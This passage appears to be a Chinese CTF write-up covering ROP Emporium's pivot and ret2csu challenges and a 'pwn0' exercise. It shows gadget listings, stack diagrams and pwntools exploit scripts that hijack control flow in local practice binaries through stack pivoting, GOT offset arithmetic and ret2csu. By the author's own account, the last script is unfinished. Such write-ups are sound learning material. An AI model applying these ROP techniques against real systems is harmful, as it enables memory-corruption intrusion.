payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(a_address - ord('l')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(g_address - ord('a')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(dot_address - ord('g')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(t_address - ord('.')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(x_address - ord('t')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdx_rcx_bextr) + p64(rcx_value) + p64(t_address - ord('x')) + p64(xlat) + p64(stosb)
payload += p64(pop_rdi) + p64(save_address) + p64(print_file_plt)
p.sendline(payload)
p.interactive()
pivot
首先有两个可用的函数,分别是foothold_function(),但是ret2win在lib中,可以靠foothold_function()的偏移找到ret2win,把.got.plt表的地址利用偏移改掉;
但是呢,有两个输入,第一个输入,把输入放到堆上了,第二个输入在栈上,但是他的输入有限制,为64个字节,我栈溢出到返回地址就需要40个字节,只剩下三个可以填,完全不够我操作拿到foothold_function的地址啊,所以需要将栈迁移到那个堆区,那里有100h的空间可以操作,完全够做一堆操作。
先看gadget:
$ ROPgadget --binary pivot --only 'xchg|shl|shr|xor|sub|add|pop|mov|ret'
Gadgets information
============================================================
0x0000000000400916 : add al, bpl ; ret
0x0000000000400917 : add al, ch ; ret
0x00000000004009c2 : add bl, al ; add rax, rbp ; ret
0x000000000040078f : add bl, dh ; ret
0x0000000000400a3d : add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400a3b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x0000000000400a3c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x00000000004008ec : add byte ptr [rax], al ; add cl, cl ; ret
0x00000000004007c6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040078e : add byte ptr [rax], al ; ret
0x00000000004007c5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040078d : add byte ptr [rax], r8b ; ret
0x0000000000400827 : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004008ee : add cl, cl ; ret
0x00000000004009c5 : add eax, ebp ; ret
0x00000000004006b3 : add esp, 8 ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004006b2 : add rsp, 8 ; ret
0x0000000000400822 : mov byte ptr [rip + 0x20084f], 1 ; pop rbp ; ret
0x00000000004009c1 : mov eax, dword ptr [rax] ; ret
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x0000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a30 : pop r14 ; pop r15 ; ret
0x0000000000400a32 : pop r15 ; ret
0x00000000004009bb : pop rax ; ret
0x0000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007c8 : pop rbp ; ret
0x0000000000400a33 : pop rdi ; ret
0x0000000000400a31 : pop rsi ; pop r15 ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b6 : ret
0x0000000000400a45 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400a44 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004009be : xchg eax, esp ; ret
0x00000000004009bd : xchg rax, rsp ; ret
Unique gadgets found: 37
构造栈:
|----------------|
|rbp:**** |
|----------------|
|rop链1:0x04009bb(pop rax ; ret)
|----------------|
|leakaddr
|----------------|
|rop链2:0x04009bd(xchg rax, rsp ; ret)
|----------------|
另一个栈
|----------------|
|foothold_function
|----------------|
|pop rax ; ret
|----------------|
|foothold_function GOT_PLT地址
|----------------|
|mov rax, qword ptr [rax] ; ret
|----------------|
|pop rbp ; ret
|----------------|
|两个函数之间的偏移offset
|----------------|
|add rax, rbp ; ret
|----------------|
|call rax
|----------------|
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./pivot")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
pivot = ELF('./pivot')
libpivot = ELF('./libpivot.so')
foothold_plt = pivot.plt['foothold_function']
foothold_got_plt = pivot.got['foothold_function']
foothold_sym = libpivot.symbols['foothold_function']
ret2win_sym = libpivot.symbols['ret2win']
offset = int(ret2win_sym - foothold_sym)
pop_rax = 0x04009bb
xchg_rax_rsp = 0x04009bd
pop_rbp = 0x04007c8
mov_rax_rax = 0x04009c0
add_rax_rbp = 0x04009c4
#0x4007c1 <deregister_tm_clones+33>: jmp rax
jump_rax = 0x4007c1
#debug("b *0x0040095d")
leakaddr = int(p.recv().split()[20], 16)
payload1 = p64(foothold_plt) + p64(pop_rax) + p64(foothold_got_plt)
payload1 += p64(mov_rax_rax) + p64(pop_rbp) + p64(offset) + p64(add_rax_rbp) + p64(jump_rax)
p.sendline(payload1)
p.recvuntil('> ')
payload2 = b'*' * 40
payload2 += p64(pop_rax) + p64(leakaddr) + p64(xchg_rax_rsp)
p.sendline(payload2)
p.interactive()
ret2csu
先看文章理解一下:
asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
首先来一波Gadget
$ ropper --file ret2csu
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x000000000040057e: adc byte ptr [rax], ah; jmp rax;
0x000000000040054f: add bl, dh; ret;
0x00000000004004da: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004006ad: add byte ptr [rax], al; add bl, dh; ret;
0x00000000004006ab: add byte ptr [rax], al; add byte ptr [rax], al; add bl, dh; ret;
0x0000000000400611: add byte ptr [rax], al; add byte ptr [rax], al; pop rbp; ret;
0x0000000000400622: add byte ptr [rax], al; add byte ptr [rdi + 1], bh; call 0x510; nop; pop rbp; ret;
0x0000000000400628: add byte ptr [rax], al; call 0x510; nop; pop rbp; ret;
0x0000000000400623: add byte ptr [rax], al; mov edi, 1; call 0x510; nop; pop rbp; ret;
0x0000000000400586: add byte ptr [rax], al; pop rbp; ret;
0x00000000004006b2: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;
0x0000000000400574: add byte ptr [rax], al; test rax, rax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004005b6: add byte ptr [rax], al; test rax, rax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax;
0x0000000000400585: add byte ptr [rax], r8b; pop rbp; ret;
0x00000000004005e7: add byte ptr [rcx], al; pop rbp; ret;
0x0000000000400624: add byte ptr [rdi + 1], bh; call 0x510; nop; pop rbp; ret;
0x0000000000400626: add dword ptr [rax], eax; add byte ptr [rax], al; call 0x510; nop; pop rbp; ret;
0x00000000004004d6: add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax;
0x00000000004004d6: add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret;
0x00000000004004e3: add esp, 8; ret;
0x00000000004004e2: add rsp, 8; ret;
0x00000000004004d9: and byte ptr [rax], al; test rax, rax; je 0x4e2; call rax;
0x00000000004004d9: and byte ptr [rax], al; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret;
0x000000000040060b: call 0x500; mov eax, 0; pop rbp; ret;
0x000000000040062a: call 0x510; nop; pop rbp; ret;
0x00000000004005dd: call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x0000000000400793: call qword ptr [rax];
0x00000000004004e0: call rax;
0x00000000004004e0: call rax; add rsp, 8; ret;
0x000000000040068c: fmul qword ptr [rax - 0x7d]; ret;
0x00000000004004d2: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax;
0x00000000004004de: je 0x4e2; call rax;
0x00000000004004de: je 0x4e2; call rax; add rsp, 8; ret;
0x0000000000400579: je 0x588; pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004005bb: je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004007d3: jmp qword ptr [rbp];
0x0000000000400581: jmp rax;
0x00000000004006f3: jmp rsp;
0x00000000004005e2: mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x0000000000400606: mov dword ptr [rbp + 0x48], edx; mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret;
0x0000000000400610: mov eax, 0; pop rbp; ret;
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax;
0x00000000004004d5: mov eax, dword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret;
0x0000000000400609: mov ebp, esp; call 0x500; mov eax, 0; pop rbp; ret;
0x00000000004005db: mov ebp, esp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x000000000040057c: mov edi, 0x601038; jmp rax;
0x0000000000400625: mov edi, 1; call 0x510; nop; pop rbp; ret;
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax;
0x00000000004004d4: mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax; add rsp, 8; ret;
0x0000000000400608: mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret;
0x00000000004005da: mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x0000000000400583: nop dword ptr [rax + rax]; pop rbp; ret;
0x00000000004005c5: nop dword ptr [rax]; pop rbp; ret;
0x00000000004005e5: or ah, byte ptr [rax]; add byte ptr [rcx], al; pop rbp; ret;
0x00000000004004d3: or byte ptr [rax - 0x75], cl; add eax, 0x200b1d; test rax, rax; je 0x4e2; call rax;
0x00000000004004d8: or esp, dword ptr [rax]; add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004005e4: or r12b, byte ptr [r8]; add byte ptr [rcx], al; pop rbp; ret;
0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040069e: pop r13; pop r14; pop r15; ret;
0x00000000004006a0: pop r14; pop r15; ret;
0x00000000004006a2: pop r15; ret;
0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax;
0x000000000040069b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x000000000040069f: pop rbp; pop r14; pop r15; ret;
0x0000000000400588: pop rbp; ret;
0x00000000004006a3: pop rdi; ret;
0x00000000004006a1: pop rsi; pop r15; ret;
0x000000000040069d: pop rsp; pop r13; pop r14; pop r15; ret;
0x0000000000400607: push rbp; mov rbp, rsp; call 0x500; mov eax, 0; pop rbp; ret;
0x00000000004005d9: push rbp; mov rbp, rsp; call 0x560; mov byte ptr [rip + 0x200a4f], 1; pop rbp; ret;
0x00000000004004dd: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
0x00000000004004d7: sbb eax, 0x4800200b; test eax, eax; je 0x4e2; call rax;
0x00000000004004d7: sbb eax, 0x4800200b; test eax, eax; je 0x4e2; call rax; add rsp, 8; ret;
0x00000000004006b5: sub esp, 8; add rsp, 8; ret;
0x00000000004004d1: sub esp, 8; mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax;
0x00000000004006b4: sub rsp, 8; add rsp, 8; ret;
0x00000000004004d0: sub rsp, 8; mov rax, qword ptr [rip + 0x200b1d]; test rax, rax; je 0x4e2; call rax;
0x00000000004004dc: test eax, eax; je 0x4e2; call rax;
0x00000000004004dc: test eax, eax; je 0x4e2; call rax; add rsp, 8; ret;
0x0000000000400577: test eax, eax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004005b9: test eax, eax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004004db: test rax, rax; je 0x4e2; call rax;
0x00000000004004db: test rax, rax; je 0x4e2; call rax; add rsp, 8; ret;
0x0000000000400576: test rax, rax; je 0x588; pop rbp; mov edi, 0x601038; jmp rax;
0x00000000004005b8: test rax, rax; je 0x5c8; pop rbp; mov edi, 0x601038; jmp rax;
0x000000000040062f: nop; pop rbp; ret;
0x00000000004004e6: ret;
这道题主要难点就是控制rdx,其他都好说
构造栈(得在exe中找到存有call到的地址基本啥也没做的函数):
|----------------|
|rbp:**** |
|----------------|
|pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;(控制后面的call)
|----------------|
|0x0
|----------------|
|0x1(这两构造使得后面jne比较的时候不发生跳转)
|----------------|
|找到的函数地址(0x600E48地址存的0x4006B4)
|----------------|
|三个参数值(由于那个指令是edi,所以第一个参数需要使用其他gadget来赋值)
|----------------|
|pop rdi; ret (对rdi单独赋参)
|----------------|
|第一个参数值
|----------------|
|目标函数
|----------------|
利用代码:
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./ret2csu")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
pivot = ELF('./ret2csu')
libpivot = ELF('./libret2csu.so')
#debug("b *0x040060B")
ret2win_plt = 0x0400510
rdi = 0xDEADBEEFDEADBEEF
rsi = 0xCAFEBABECAFEBABE
rdx = 0xD00DF00DD00DF00D
pop_rdi = 0x04006a3
pop_rdx_rbp_r12_r15 = 0x40069A
mov_rdx_rsi = 0x00400680
void_function = 0x600E48
payload = b'*' * 40
payload += p64(pop_rdx_rbp_r12_r15) + p64(0x0) + p64(0x1) + p64(void_function) + p64(0x0) + p64(rsi) + p64(rdx) + p64(mov_rdx_rsi) + p64(0x0) * 7
payload += p64(pop_rdi) + p64(rdi)
payload += p64(ret2win_plt)
p.sendline(payload)
p.interactive()
pwn0
下面文件下载后,放在linux下的 /home/pwn/pwn0/
链接:https://pan.baidu.com/s/11lm17lllPZ5A8rrcuCELAg
提取码:knpf
flag必须放到/home/pwn/pwn0中
先来个Gadget(这个入门题没啥意思)
$ ropper --file pwn0
[INFO] Load gadgets for section: PHDR
[LOAD] loading... 100%
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x0804881d: adc al, 0x41; ret;
0x0804854e: adc al, 0x50; call edx;
0x0804863d: adc byte ptr [eax], bh; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x080484c1: add al, 8; call eax;
0x080484fb: add al, 8; call edx;
0x080486af: add bl, dh; ret;
0x0804863f: add byte ptr [eax], al; add byte ptr [eax], al; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x08048640: add byte ptr [eax], al; add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret;
0x080483d4: add byte ptr [eax], al; add esp, 8; pop ebx; ret;
0x08048641: add byte ptr [eax], al; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x08048642: add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret;
0x0804863b: add esp, 0x10; mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x08048599: add esp, 0x10; nop; leave; ret;
0x080486a5: add esp, 0xc; pop ebx; pop esi; pop edi; pop ebp; ret;
0x080483d6: add esp, 8; pop ebx; ret;
0x0804881a: and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x08048594: call 0x420; add esp, 0x10; nop; leave; ret;
0x080483d1: call 0x430; add esp, 8; pop ebx; ret;
0x080485cc: call 0x55b; nop; leave; ret;
0x0804855a: call dword ptr [ebp - 0x77];
0x08048653: call dword ptr [esi + 0x53];
0x080484c3: call eax;
0x080484fd: call edx;
0x08048818: dec ebp; push cs; and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x08048644: dec ebp; cld; leave; lea esp, [ecx - 4]; ret;
0x0804854d: in al, dx; adc al, 0x50; call edx;
0x0804854b: in eax, 0x83; in al, dx; adc al, 0x50; call edx;
0x0804863a: inc dword ptr [ebx + 0xb810c4]; add byte ptr [eax], al; add byte ptr [ebx - 0x723603b3], cl; popal; cld; ret;
0x08048598: inc dword ptr [ebx - 0x366fef3c]; ret;
0x08048815: inc ecx; push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x0804881e: inc ecx; ret;
0x0804881b: inc edi; push cs; adc al, 0x41; ret;
0x080483cf: je 0x3d6; call 0x430; add esp, 8; pop ebx; ret;
0x080484b6: je 0x4c9; push ebp; mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax;
0x08048547: je 0x53b; push ebp; mov ebp, esp; sub esp, 0x14; push eax; call edx;
0x080486a4: jecxz 0x629; les ecx, ptr [ebx + ebx*2]; pop esi; pop edi; pop ebp; ret;
0x0804872f: jmp esp;
0x080485ca: jne 0x5d1; call 0x55b; nop; leave; ret;
0x08048647: lea esp, [ecx - 4]; ret;
0x080483d7: les ecx, ptr [eax]; pop ebx; ret;
0x080486a6: les ecx, ptr [ebx + ebx*2]; pop esi; pop edi; pop ebp; ret;
0x0804863c: les edx, ptr [eax]; mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x0804859a: les edx, ptr [eax]; nop; leave; ret;
0x0804863e: mov eax, 0; mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x080484f2: mov ebp, esp; sub esp, 0x10; push eax; push 0x804a030; call edx;
0x080484b9: mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax;
0x0804854a: mov ebp, esp; sub esp, 0x14; push eax; call edx;
0x08048490: mov ebx, dword ptr [esp]; ret;
0x08048643: mov ecx, dword ptr [ebp - 4]; leave; lea esp, [ecx - 4]; ret;
0x080486a7: or al, 0x5b; pop esi; pop edi; pop ebp; ret;
0x080484c2: or bh, bh; rol byte ptr [ebx - 0xc36ef3c], 1; ret;
0x080484fc: or bh, bh; rol byte ptr [ebx - 0xc36ef3c], cl; ret;
0x080486ab: pop ebp; ret;
0x080486a8: pop ebx; pop esi; pop edi; pop ebp; ret;
0x080483d9: pop ebx; ret;
0x080486aa: pop edi; pop ebp; ret;
0x080486a9: pop esi; pop edi; pop ebp; ret;
0x080484be: push 0x804a030; call eax;
0x080484f8: push 0x804a030; call edx;
0x0804881c: push cs; adc al, 0x41; ret;
0x08048819: push cs; and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x08048816: push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x08048593: push eax; call 0x420; add esp, 0x10; nop; leave; ret;
0x0804854f: push eax; call edx;
0x080484f7: push eax; push 0x804a030; call edx;
0x080484f1: push ebp; mov ebp, esp; sub esp, 0x10; push eax; push 0x804a030; call edx;
0x080484b8: push ebp; mov ebp, esp; sub esp, 0x14; push 0x804a030; call eax;
0x08048549: push ebp; mov ebp, esp; sub esp, 0x14; push eax; call edx;
0x080484de: ret 0xeac1;
0x080484c4: rol byte ptr [ebx - 0xc36ef3c], 1; ret;
0x080484fe: rol byte ptr [ebx - 0xc36ef3c], cl; ret;
0x08048546: sal byte ptr [edx + esi*8 + 0x55], cl; mov ebp, esp; sub esp, 0x14; push eax; call edx;
0x08048491: sbb al, 0x24; ret;
0x08048814: sub al, 0x41; push cs; xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x080484f4: sub esp, 0x10; push eax; push 0x804a030; call edx;
0x080484bb: sub esp, 0x14; push 0x804a030; call eax;
0x0804854c: sub esp, 0x14; push eax; call edx;
0x080483cd: test eax, eax; je 0x3d6; call 0x430; add esp, 8; pop ebx; ret;
0x08048817: xor byte ptr [ebp + 0xe], cl; and byte ptr [edi + 0xe], al; adc al, 0x41; ret;
0x08048657: xor eax, 0x81fffffe; ret;
0x08048645: cld; leave; lea esp, [ecx - 4]; ret;
0x08048649: cld; ret;
0x08048646: leave; lea esp, [ecx - 4]; ret;
0x0804859d: leave; ret;
0x0804848f: nop; mov ebx, dword ptr [esp]; ret;
0x0804859c: nop; leave; ret;
0x0804848d: nop; nop; mov ebx, dword ptr [esp]; ret;
0x0804848b: nop; nop; nop; mov ebx, dword ptr [esp]; ret;
0x08048489: nop; nop; nop; nop; mov ebx, dword ptr [esp]; ret;
0x080485c9: popal; jne 0x5d1; call 0x55b; nop; leave; ret;
0x08048648: popal; cld; ret;
0x080483c2: ret;
栈构造:
这个很简单,但是我认为不是这样的,flag还是没出来,因为fgets输入的25,flag内容正好出不来,但是如果单独自己构造ROP链来调用不同函数,其他都好控制,因为32位是靠ebp+8,。。。来传参的,如何控制ebp,没找到适合的Gadget,我不能拿到栈地址,如果能拿到的话,也可以做,但是栈地址好像可以泄露 👀, 有个puts函数。。。。又查了查,开了ASLR,栈地址会变的,控制不了,这道题就有问题
from pwn import *
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
p = process("./pwn0")
def debug(cmd=""):
gdb.attach(p,cmd)
pause()
#debug("b *0x080485AC")
f_open_plt = 0x08048450
modes_addr = 0x080486D0
file_name_addr = 0x080486D2
f_gets_plt = 0x08048410
puts_plt = 0x08048420
payload = b'*' * 32
payload += p32(0x61616161)
p.sendline(payload)
p.interactive()